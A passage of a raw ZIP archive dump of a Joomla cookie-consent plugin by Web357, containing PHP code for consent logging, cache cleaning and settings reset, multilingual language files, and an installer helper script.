$reload_btn; break; case "after_decline": $html = $allow_btn . ' ' . $delete_btn . ' ' . $reload_btn; break; default: $html = $allow_btn . ' ' . $delete_btn . ' ' . $reload_btn; } return $html; } /** * Clean the cache */ private function cleanTheCache() { // Plugin params $params = $this->getParams(); $enable_shortcode_functionality = $params->get('enable_shortcode_functionality', '0'); $blockCookies = $params->get('blockCookies', '0'); if ($enable_shortcode_functionality || $blockCookies) { Factory::getCache()->clean('com_content'); Factory::getCache()->clean('com_k2'); Factory::getCache()->clean('com_modules'); Factory::getCache()->clean('com_plugins'); Factory::getCache()->clean('com_mijoshop'); Factory::getCache()->clean('mod_custom'); Factory::getCache()->clean('plg_jch_optimize'); Factory::getCache()->clean('_system'); Factory::getCache()->clean('page'); Log::add(Text::_('Cache cleaned after cookies accepted from plg_ajax_cookiespolicynotificationbar plugin.'), Log::INFO, 'plg_system_cookiespolicynotificationbar'); } } /** * Get Acceptance logs * * return HTML table */ private function getAcceptanceLogs() { $app = Factory::getApplication(); if ($app->isClient('administrator')) { // data from db $db = Factory::getDbo(); $query = $db->getQuery(true); $query ->select($db->quoteName('logs.id')) ->select($db->quoteName('logs.ip_address')) ->select($db->quoteName('logs.user_id')) ->select($db->quoteName('logs.status')) ->select($db->quoteName('logs.datetime')) ->select($db->quoteName('logs.cookiesinfo')) ->select($db->quoteName('users.name')) ->select($db->quoteName('users.username')) ->from($db->quoteName('#__plg_system_cookiespolicynotificationbar_logs', 'logs')) ->join('LEFT', $db->quoteName('#__users', 'users') . ' ON ' . $db->quoteName('users.id') . ' = ' . $db->quoteName('logs.user_id')) ->order('logs.datetime DESC'); $db->setQuery($query); $log_results = $db->loadObjectList(); // create the html table (css credits: http://johnsardine.com/freebies/dl-html-css/simple-little-tab/) $print_logs = ''; // reload btn $print_logs .= '<div class="text-left"><button class="btn btn-primary cpnb-reload-acceptance-logs-btn" type="button"><span class="icon-refresh"></span> Reload</button></div>'; $print_logs .= '<div class="cpnb-loading-gif text-center" style="display:none;"></div>'; // data table $print_logs .= '<table cellspacing="0" width="95%" class="w357_modal_table">'; $print_logs .= '<thead>'; $print_logs .= '<tr>'; $print_logs .= '<th>' . Text::_('#') . '</th>'; $print_logs .= '<th>' . Text::_('PLG_SYSTEM_CPNB_IP_ADDRESS') . '</th>'; $print_logs .= '<th>' . Text::_('PLG_SYSTEM_CPNB_USER') . '</th>'; $print_logs .= '<th>' . Text::_('PLG_SYSTEM_CPNB_STATUS') . '</th>'; $print_logs .= '<th>' . Text::_('PLG_SYSTEM_CPNB_COOKIES_INFO_LBL') . '</th>'; $print_logs .= '<th>' . Text::_('PLG_SYSTEM_CPNB_DATETIME') . '</th>'; $print_logs .= '<th>' . Text::_('ID') . '</th>'; $print_logs .= '</tr>'; $print_logs .= '</thead>'; $print_logs .= '<tbody>'; if (!empty($log_results)): $logs_info_message = ''; $i = 0; foreach ($log_results as $result): // cookies info in a list $cookiesinfo = json_decode($result->cookiesinfo, true); $accepted_cats = array(); $declined_cats = array(); unset($cookiesinfo['required-cookies']); if (!empty($cookiesinfo)) { foreach ($cookiesinfo as $cookie_name => $cookie_value) { if ($cookie_value) { $accepted_cats[] = $cookie_name; } else { $declined_cats[] = $cookie_name; } } } if (!empty($accepted_cats) || !empty($declined_cats)) { $cookies_info_html = '<ul>'; $cookies_info_html .= (!empty($accepted_cats)) ? '<li style="list-style:none;">Accepted: <i>' . implode(', ', $accepted_cats) . '</i></li>' : ''; $cookies_info_html .= (!empty($declined_cats)) ? '<li style="list-style:none;">Declined: <i>' . implode(', ', $declined_cats) . '</i></li>' : ''; $cookies_info_html .= '</ul>'; } else { $cookies_info_html = '---'; } // row $print_logs .= '<tr class="' . (($i % 2 == 0) ? "odd" : "even") . '">'; $print_logs .= '<td>' . (int) ($i + 1) . '</td>'; $print_logs .= '<td>' . $result->ip_address . '</td>'; $print_logs .= (!empty($result->user_id)) ? '<td>' . $result->user_id . '. ' . $result->name . ' (' . $result->username . ')</td>' : '<td>' . Text::_('PLG_SYSTEM_CPNB_GUEST') . '</td>'; $print_logs .= '<td>' . $result->status . '</td>'; $print_logs .= '<td>' . $cookies_info_html . '</td>'; $print_logs .= '<td>' . HTMLHelper::date($result->datetime, 'l d F Y, H:i') . '</td>'; $print_logs .= '<td>' . $result->id . '</td>'; $print_logs .= '</tr>'; $i++; endforeach; else: $logs_info_message = '<p class="logs_info_message">' . Text::_('PLG_SYSTEM_CPNB_NO_LOGS') . '</p>'; endif; $print_logs .= '</tbody>'; $print_logs .= '</table>'; $print_logs .= $logs_info_message; return $print_logs; } else { JError::raiseError(403, ''); return; } } /** * Delete the Acceptance Logs from database */ private function deleteAcceptanceLogs() { $app = Factory::getApplication(); if ($app->isClient('administrator')) { $db = Factory::getDbo(); $query = $db->getQuery(true); $query->delete($db->quoteName('#__plg_system_cookiespolicynotificationbar_logs')); $db->setQuery($query); $db->execute(); $html = ''; $html .= '<div class="cpnb-loading-gif text-center"></div>'; $html .= '<div class="alert alert-success alert-dismissible cpnb-acceptance-logs-deleted-msg" style="display:none;"><span class="icon-save"></span> ' . Text::_('PLG_SYSTEM_CPNB_LOGS_DELETED') . '</div>'; return $html; } else { JError::raiseError(403, ''); return; } } /** * Restore to Default settings */ private function restoreToDefaults() { $app = Factory::getApplication(); if ($app->isClient('administrator')) { $db = Factory::getDbo(); $query = $db->getQuery(true); // Fields to update. $fields = array( $db->quoteName('params') . ' = ' . $db->quote(''), ); // Conditions for which records should be updated. $conditions = array( $db->quoteName('type') . ' = ' . $db->quote('plugin'), $db->quoteName('element') . ' = ' . $db->quote('cookiespolicynotificationbar'), $db->quoteName('folder') . ' = ' . $db->quote('system'), ); $query->update($db->quoteName('#__extensions'))->set($fields)->where($conditions); $db->setQuery($query); $db->execute(); $html = ''; $html .= '<div class="cpnb-loading-gif text-center"></div>'; $html .= '<div class="alert alert-success alert-dismissible cpnb-restore-to-defaults-msg" style="display:none;"><span class="icon-save"></span> ' . Text::_('PLG_SYSTEM_CPNB_SETTINGS_RESTORED_SUCCESSFULLY') . '</div>'; return $html; } else { JError::raiseError(403, ''); return; } } /** * Get the full domain of a URL * Example: for https://tests.google.com it prints tests.google.com */ public function getFullDomain() { $url = Uri::base(); $parse_url = parse_url($url); return $parse_url['host']; } /** * Get only the domain of a URL * Example: for https://tests.google.com it prints google.com, even if its a subdomain. */ public function getDomainOnly() { $url = Uri::base(); $pieces = parse_url($url); $domain = isset($pieces['host']) ? $pieces['host'] : $pieces['path']; if (preg_match('/(?P<domain>[a-z0-9][a-z0-9\-]{1,63}\.[a-z\.]{2,6})$/i', $domain, $regs)) { return $regs['domain']; } return false; } /** * What are the different types of cookies? * A cookie can be classified by its lifespan and the domain to which it belongs. By lifespan, a cookie is either a: * - session cookie which is erased when the user closes the browser or * - persistent cookie which remains on the user's computer/device for a pre-defined period of time. * * return: true if is a session cookie. */ public static function isSessionCookie($cookie_name) { if (!empty($cookie_name)) { $db = Factory::getDbo(); $query = $db->getQuery(true); $query->select('COUNT(' . $db->quoteName('session_id') . ')'); $query->from($db->quoteName('#__session')); $query->where($db->quoteName('session_id') . ' = ' . $db->quote((string) $cookie_name)); try { $db->setQuery($query); return (int) $db->loadResult(); } catch (RuntimeException $e) { JError::raiseError(500, $e->getMessage()); return false; } } else { return false; } } /** * Store the visitor decision into the database. * status: accepted or declined */ private function storeDecision($status = 'accepted', $cookiesinfo = '') { // Plugin params $params = $this->getParams(); $store_ip_address_into_db = $params->get('store_ip_address_into_db', '1'); // Get the correct IP address of the client $ip_address = IpHelper::getIp(); if (!filter_var($ip_address, FILTER_VALIDATE_IP)) { $ip_address = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '0.0.0.0'; } // Get a db connection. $db = Factory::getDbo(); // Create a new query object. $query = $db->getQuery(true); // Insert columns $columns = array('ip_address', 'status', 'datetime', 'user_id', 'cookiesinfo'); // Insert values $values = array(); $values['ip_address'] = ($store_ip_address_into_db) ? $db->quote($ip_address) : $db->quote(Text::_('PLG_SYSTEM_CPNB_IP_ADDRESS_NOT_STORED')); $values['state'] = $db->quote(Text::_($status)); $values['datetime'] = $db->quote(Factory::getDate()->toSql()); $user = (version_compare(JVERSION, "4.0", ">=")) ? Factory::getApplication()->getIdentity() : Factory::getUser(); $values['user_id'] = (int) $user->id; $values['cookiesinfo'] = $db->quote($cookiesinfo); // Prepare the insert query. $query ->insert($db->quoteName('#__plg_system_cookiespolicynotificationbar_logs')) ->columns($db->quoteName($columns)) ->values(implode(',', $values)); // Set the query using our newly populated query object and execute it. $db->setQuery($query); $db->execute(); } } PK�Q�\��+�_cookiespolicynotificationbar/language/el-GR/el-GR.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="A beautiful and functional EU Cookie Law Compliance Joomla! Plugin that provides a mechanism for informing your visitors about how you use cookies on your website in an elegant manner. It includes a variety of features (responsive, multilingual, include/exclude from pages, etc.) and parameters (block cookies, change colors, custom CSS, animation duration, etc.)." PK�Q�\��+�[cookiespolicynotificationbar/language/el-GR/el-GR.plg_ajax_cookiespolicynotificationbar.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="A beautiful and functional EU Cookie Law Compliance Joomla! Plugin that provides a mechanism for informing your visitors about how you use cookies on your website in an elegant manner. It includes a variety of features (responsive, multilingual, include/exclude from pages, etc.) and parameters (block cookies, change colors, custom CSS, animation duration, etc.)." PK�Q�\I f��[cookiespolicynotificationbar/language/de-DE/de-DE.plg_ajax_cookiespolicynotificationbar.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Ein schönes und vielseitiges Plugin, das Ihnen bei der Einhaltung der EU Gesetze und Vorschriften zur Verwendung von Cookies hilft. So können Sie die Besucher Ihrer Website auf elegante Weise darüber zu informieren, wie Cookies auf Ihrer Website genutzt werden. Das Plugin bietet eine Vielzahl von Funktionen (Responsivität, Mehrsprachigkeit, gezielte Kontrolle über die Anzeige oder den Ausschluss auf bestimmten Seiten, etc.) sowie umfangreiche Einstellungsmöglichkeiten (Blockieren von Cookies, Anpassung der Farbigkeit, eigenes CSS, Dauer von Animationen, etc.)." PK�Q�\I f��_cookiespolicynotificationbar/language/de-DE/de-DE.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Ein schönes und vielseitiges Plugin, das Ihnen bei der Einhaltung der EU Gesetze und Vorschriften zur Verwendung von Cookies hilft. So können Sie die Besucher Ihrer Website auf elegante Weise darüber zu informieren, wie Cookies auf Ihrer Website genutzt werden. Das Plugin bietet eine Vielzahl von Funktionen (Responsivität, Mehrsprachigkeit, gezielte Kontrolle über die Anzeige oder den Ausschluss auf bestimmten Seiten, etc.) sowie umfangreiche Einstellungsmöglichkeiten (Blockieren von Cookies, Anpassung der Farbigkeit, eigenes CSS, Dauer von Animationen, etc.)." PK�Q�\/����[cookiespolicynotificationbar/language/da-DK/da-DK.plg_ajax_cookiespolicynotificationbar.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="En smuk og funktionel Cookie Advarsels-popup. Et Joomla! Plugin som giver mulighed for at informere dine brugere om hvordan du bruger cookies på dit website på en elegant måde. Inkludere mange features (responsivt, flersproget, inkluder/ekskluder fra sider, etc.) og parametre (bloker cookies, skift farver, custom CSS, animationsindstillinger, etc.)." PK�Q�\/����_cookiespolicynotificationbar/language/da-DK/da-DK.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="En smuk og funktionel Cookie Advarsels-popup. Et Joomla! Plugin som giver mulighed for at informere dine brugere om hvordan du bruger cookies på dit website på en elegant måde. Inkludere mange features (responsivt, flersproget, inkluder/ekskluder fra sider, etc.) og parametre (bloker cookies, skift farver, custom CSS, animationsindstillinger, etc.)." PK�Q�\u��c_cookiespolicynotificationbar/language/en-GB/en-GB.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�; Defaults PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="A beautiful and functional EU Cookie Law Compliance Joomla! Plugin that provides a mechanism for informing your visitors about how you use cookies on your website in an elegant manner. It includes a variety of features (responsive, multilingual, include/exclude from pages, etc.) and parameters (block cookies, change colors, custom CSS, animation duration, etc.)." PK�Q�\u��c[cookiespolicynotificationbar/language/en-GB/en-GB.plg_ajax_cookiespolicynotificationbar.ininu&1i�; Defaults PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="A beautiful and functional EU Cookie Law Compliance Joomla! Plugin that provides a mechanism for informing your visitors about how you use cookies on your website in an elegant manner. It includes a variety of features (responsive, multilingual, include/exclude from pages, etc.) and parameters (block cookies, change colors, custom CSS, animation duration, etc.)." PK�Q�\]��##6cookiespolicynotificationbar/language/en-GB/index.htmlnu&1i�<!DOCTYPE html><title></title> PK�Q�\O>J���[cookiespolicynotificationbar/language/fr-FR/fr-FR.plg_ajax_cookiespolicynotificationbar.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Un plugin Joomla! esthétique et fonctionnel, répondant à la législation européenne sur l'utilisation des cookies, et qui fournit, de manière élégante, un mécanisme afin d'informer vos visiteurs sur la façon dont vous utilisez les cookies sur votre site Web. Il inclut une variété de fonctionnalités (responsive, multilingue, inclusion/exclusion de pages, etc.) et de paramètres (bloquer les cookies, modifier les couleurs, CSS personnalisés, durée de l'animation, etc.)." PK�Q�\O>J���_cookiespolicynotificationbar/language/fr-FR/fr-FR.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Un plugin Joomla! esthétique et fonctionnel, répondant à la législation européenne sur l'utilisation des cookies, et qui fournit, de manière élégante, un mécanisme afin d'informer vos visiteurs sur la façon dont vous utilisez les cookies sur votre site Web. Il inclut une variété de fonctionnalités (responsive, multilingue, inclusion/exclusion de pages, etc.) et de paramètres (bloquer les cookies, modifier les couleurs, CSS personnalisés, durée de l'animation, etc.)." PK�Q�\ @��[cookiespolicynotificationbar/language/ru-RU/ru-RU.plg_ajax_cookiespolicynotificationbar.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Функциональный Joomla! плагин, обеспечивающий информирование посетителей сайта о законе соответствия кукисов сайта правилам ЕС. Плагин отображает информацию об использовании кукис на сайте в элегантной форме. Плагин имеет множество настроек (отзывчивый дизайн, многоязычность, управление на каких страницах отображать или скрывать информацию и т.д.) и параметров (блокировка кукис, изменение настроек цвета, подключение собственного CSS, продолжительность анимации и т.д.)" PK�Q�\ @��_cookiespolicynotificationbar/language/ru-RU/ru-RU.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Функциональный Joomla! плагин, обеспечивающий информирование посетителей сайта о законе соответствия кукисов сайта правилам ЕС. Плагин отображает информацию об использовании кукис на сайте в элегантной форме. Плагин имеет множество настроек (отзывчивый дизайн, многоязычность, управление на каких страницах отображать или скрывать информацию и т.д.) и параметров (блокировка кукис, изменение настроек цвета, подключение собственного CSS, продолжительность анимации и т.д.)" PK�Q�\(ɒ�FF_cookiespolicynotificationbar/language/it-IT/it-IT.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Un elegante e funzionale Plugin per Joomla! per la legge EU sui cookies per informare i visitatori sulle modalità di conservazione ed utilizzo degli stessi nel sito e consentire il consenso all'uso oppure no. Include una varietà di caratteristiche (responsive, multilingua, includi/escludi dalle pagine, ecc) e di parametri configurabili (blocco dei cookies, cambio colori, CSS personalizzato, durata dell'animazione, ecc.)." PK�Q�\(ɒ�FF[cookiespolicynotificationbar/language/it-IT/it-IT.plg_ajax_cookiespolicynotificationbar.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Un elegante e funzionale Plugin per Joomla! per la legge EU sui cookies per informare i visitatori sulle modalità di conservazione ed utilizzo degli stessi nel sito e consentire il consenso all'uso oppure no. Include una varietà di caratteristiche (responsive, multilingua, includi/escludi dalle pagine, ecc) e di parametri configurabili (blocco dei cookies, cambio colori, CSS personalizzato, durata dell'animazione, ecc.)." PK�Q�\�V�0cookiespolicynotificationbar/language/index.htmlnu&1i�<!DOCTYPE html><title></title> PK�Q�\�j��_cookiespolicynotificationbar/language/nl-NL/nl-NL.plg_ajax_cookiespolicynotificationbar.sys.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Een mooie en functionele EU CookieBeleid Joomla Plug-in die in een oplossing voorziet om bezoekers op een elegante wijze te informeren over het gebruik van cookies op uw website. Het omvat een scala aan functies (responsieve, meertalig, inclusief / uitsluiten van pagina's, enz.) En parameters (blok cookies, verander kleuren, aangepaste CSS, duur animatie, enz.)." PK�Q�\�j��[cookiespolicynotificationbar/language/nl-NL/nl-NL.plg_ajax_cookiespolicynotificationbar.ininu&1i�; Defaults ; PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR="Ajax - Web357 Cookies Policy Notification Bar" PLG_AJAX_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Een mooie en functionele EU CookieBeleid Joomla Plug-in die in een oplossing voorziet om bezoekers op een elegante wijze te informeren over het gebruik van cookies op uw website. Het omvat een scala aan functies (responsieve, meertalig, inclusief / uitsluiten van pagina's, enz.) En parameters (blok cookies, verander kleuren, aangepaste CSS, duur animatie, enz.)." PK�Q�\]��##'cookiespolicynotificationbar/index.htmlnu&1i�<!DOCTYPE html><title></title> PK�Q�\y^'/cookiespolicynotificationbar/script.install.phpnu&1i�<?php /* ====================================================== # Cookies Policy Notification Bar for Joomla! - v4.4.4 (pro version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Demo: https://demo-joomla.web357.com/cookies-policy-notification-bar # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:29:25 PM ========================================================= */ defined('_JEXEC') or die; require_once __DIR__ . '/script.install.helper.php'; class PlgAjaxCookiespolicynotificationbarInstallerScript extends PlgAjaxCookiespolicynotificationbarInstallerScriptHelper { public $name = 'Cookies Policy Notification Bar'; public $alias = 'cookiespolicynotificationbar'; public $extension_type = 'plugin'; public $plugin_folder = 'ajax'; }PK�Q�\<���\?\?)web357framework/script.install.helper.phpnu&1i�<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Version; use Joomla\CMS\Factory; use Joomla\Filesystem\File; use Joomla\Filesystem\Folder; use Joomla\CMS\Language\Text; use Joomla\CMS\Installer\Installer; if (!class_exists('PlgAjaxWeb357frameworkInstallerScriptHelper')) { class PlgAjaxWeb357frameworkInstallerScriptHelper { public $name = ''; public $alias = ''; public $extname = ''; public $extension_type = ''; public $plugin_folder = 'system'; public $module_position = 'web357'; public $client_id = 0; public $install_type = 'install'; public $show_message = true; public $db = null; public $softbreak = null; public $mini_version = null; public function __construct(&$params) { $this->extname = $this->extname ?: $this->alias; $this->db = Factory::getDbo(); // Get Joomla's version $jversion = new Version(); $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $this->mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 } public function preflight($route, $adapter) { if (!in_array($route, array('install', 'update'))) { return true; } Factory::getLanguage()->load('plg_system_web357installer', JPATH_PLUGINS . '/system/web357installer'); if ($this->show_message && $this->isInstalled()) { $this->install_type = 'update'; } if ($this->onBeforeInstall($route) === false) { return false; } return true; } public function postflight($route, $adapter) { $this->removeGlobalLanguageFiles(); if (version_compare($this->mini_version, "4.0", "<")) { $this->removeUnusedLanguageFiles(); } Factory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder()); if (!in_array($route, array('install', 'update'))) { return true; } $this->updateHttptoHttpsInUpdateSites(); if ($this->onAfterInstall($route) === false) { return false; } if ($route == 'install') { $this->publishExtension(); } if ($this->show_message) { $this->addInstalledMessage(); } Factory::getCache()->clean('com_plugins'); Factory::getCache()->clean('_system'); return true; } public function isInstalled() { if ( ! is_file($this->getInstalledXMLFile())) { return false; } $query = $this->db->getQuery(true) ->select($this->db->quoteName('extension_id')) ->from('#__extensions') ->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type)) ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName())); $this->db->setQuery($query, 0, 1); $result = $this->db->loadResult(); return empty($result) ? false : true; } public function getMainFolder() { switch ($this->extension_type) { case 'plugin' : return JPATH_PLUGINS . '/' . $this->plugin_folder . '/' . $this->extname; case 'component' : return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname; case 'module' : return JPATH_SITE . '/modules/mod_' . $this->extname; case 'library' : return JPATH_SITE . '/libraries/' . $this->extname; } } public function getInstalledXMLFile() { return $this->getXMLFile($this->getMainFolder()); } public function getCurrentXMLFile() { return $this->getXMLFile(__DIR__); } public function getXMLFile($folder) { switch ($this->extension_type) { case 'module' : return $folder . '/mod_' . $this->extname . '.xml'; default : return $folder . '/' . $this->extname . '.xml'; } } public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true) { if (empty($extname)) { return; } $folders = array(); switch ($type) { case 'plugin'; $folders[] = JPATH_PLUGINS . '/' . $folder . '/' . $extname; break; case 'component': $folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname; $folders[] = JPATH_SITE . '/components/com_' . $extname; break; case 'module': $folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname; $folders[] = JPATH_SITE . '/modules/mod_' . $extname; break; } if ( ! $this->foldersExist($folders)) { return; } $query = $this->db->getQuery(true) ->select($this->db->quoteName('extension_id')) ->from('#__extensions') ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname))) ->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type)); if ($type == 'plugin') { $query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder)); } $this->db->setQuery($query); $ids = $this->db->loadColumn(); if (empty($ids)) { foreach ($folders as $folder) { Folder::delete($folder); } return; } $ignore_ids = Factory::getApplication()->getUserState('rl_ignore_uninstall_ids', array()); if (Factory::getApplication()->input->get('option') == 'com_installer' && Factory::getApplication()->input->get('task') == 'remove') { // Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves $ignore_ids = array_merge($ignore_ids, Factory::getApplication()->input->get('cid', array(), 'array')); Factory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids)); } $ids = array_diff($ids, $ignore_ids); if (empty($ids)) { return; } $ignore_ids = array_merge($ignore_ids, $ids); Factory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids); foreach ($ids as $id) { $tmpInstaller = new Installer; $tmpInstaller->uninstall($type, $id); } if ($show_message) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_INSTALLER_UNINSTALL_SUCCESS', Text::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type)) ) ); } } public function foldersExist($folders = array()) { foreach ($folders as $folder) { if (is_dir($folder)) { return true; } } return false; } public function uninstallPlugin($extname, $folder = 'system', $show_message = true) { $this->uninstallExtension($extname, 'plugin', $folder, $show_message); } public function uninstallComponent($extname, $show_message = true) { $this->uninstallExtension($extname, 'component', null, $show_message); } public function uninstallModule($extname, $show_message = true) { $this->uninstallExtension($extname, 'module', null, $show_message); } public function publishExtension() { switch ($this->extension_type) { case 'plugin' : $this->publishPlugin(); case 'module' : $this->publishModule(); } } public function publishPlugin() { $query = $this->db->getQuery(true) ->update('#__extensions') ->set($this->db->quoteName('enabled') . ' = 1') ->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin')) ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname)) ->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder)); $this->db->setQuery($query); $this->db->execute(); } public function publishModule() { // Get module id $query = $this->db->getQuery(true) ->select($this->db->quoteName('id')) ->from('#__modules') ->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname)) ->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id); $this->db->setQuery($query, 0, 1); $id = $this->db->loadResult(); if ( ! $id) { return; } // check if module is already in the modules_menu table (meaning is is already saved) $query->clear() ->select($this->db->quoteName('moduleid')) ->from('#__modules_menu') ->where($this->db->quoteName('moduleid') . ' = ' . (int) $id); $this->db->setQuery($query, 0, 1); $exists = $this->db->loadResult(); if ($exists) { return; } // Get highest ordering number in position $query->clear() ->select($this->db->quoteName('ordering')) ->from('#__modules') ->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position)) ->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id) ->order('ordering DESC'); $this->db->setQuery($query, 0, 1); $ordering = $this->db->loadResult(); $ordering++; // publish module and set ordering number $query->clear() ->update('#__modules') ->set($this->db->quoteName('published') . ' = 1') ->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering) ->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position)) ->where($this->db->quoteName('id') . ' = ' . (int) $id); $this->db->setQuery($query); $this->db->execute(); // add module to the modules_menu table $query->clear() ->insert('#__modules_menu') ->columns(array($this->db->quoteName('moduleid'), $this->db->quoteName('menuid'))) ->values((int) $id . ', 0'); $this->db->setQuery($query); $this->db->execute(); } public function addInstalledMessage() { Factory::getApplication()->enqueueMessage( Text::sprintf( Text::_($this->install_type == 'update' ? 'W357_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'W357_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'), '<strong>' . Text::_($this->name) . '</strong>', '<strong>' . $this->getVersion() . '</strong>', $this->getFullType() ) ); } public function getPrefix() { switch ($this->extension_type) { case 'plugin'; return Text::_('plg_' . strtolower($this->plugin_folder)); case 'component': return Text::_('com'); case 'module': return Text::_('mod'); case 'library': return Text::_('lib'); default: return $this->extension_type; } } public function getElementName($type = null, $extname = null) { $type = is_null($type) ? $this->extension_type : $type; $extname = is_null($extname) ? $this->extname : $extname; switch ($type) { case 'component' : return 'com_' . $extname; case 'module' : return 'mod_' . $extname; case 'plugin' : default: return $extname; } } public function getFullType() { return Text::_('W357_' . strtoupper($this->getPrefix())); } public function getVersion($file = '') { $file = $file ?: $this->getCurrentXMLFile(); if ( ! is_file($file)) { return ''; } $xml = Installer::parseXMLInstallFile($file); if ( ! $xml || ! isset($xml['version'])) { return ''; } return $xml['version']; } public function isNewer() { if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile())) { return true; } $package_version = $this->getVersion(); return version_compare($installed_version, $package_version, '<='); } public function canInstall() { // The extension is not installed yet if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile())) { return true; } // The free version is installed. So any version is ok to install if (strpos($installed_version, 'PRO') === false) { return true; } // Current package is a pro version, so all good if (strpos($this->getVersion(), 'PRO') !== false) { return true; } Factory::getLanguage()->load($this->getPrefix() . '_' . 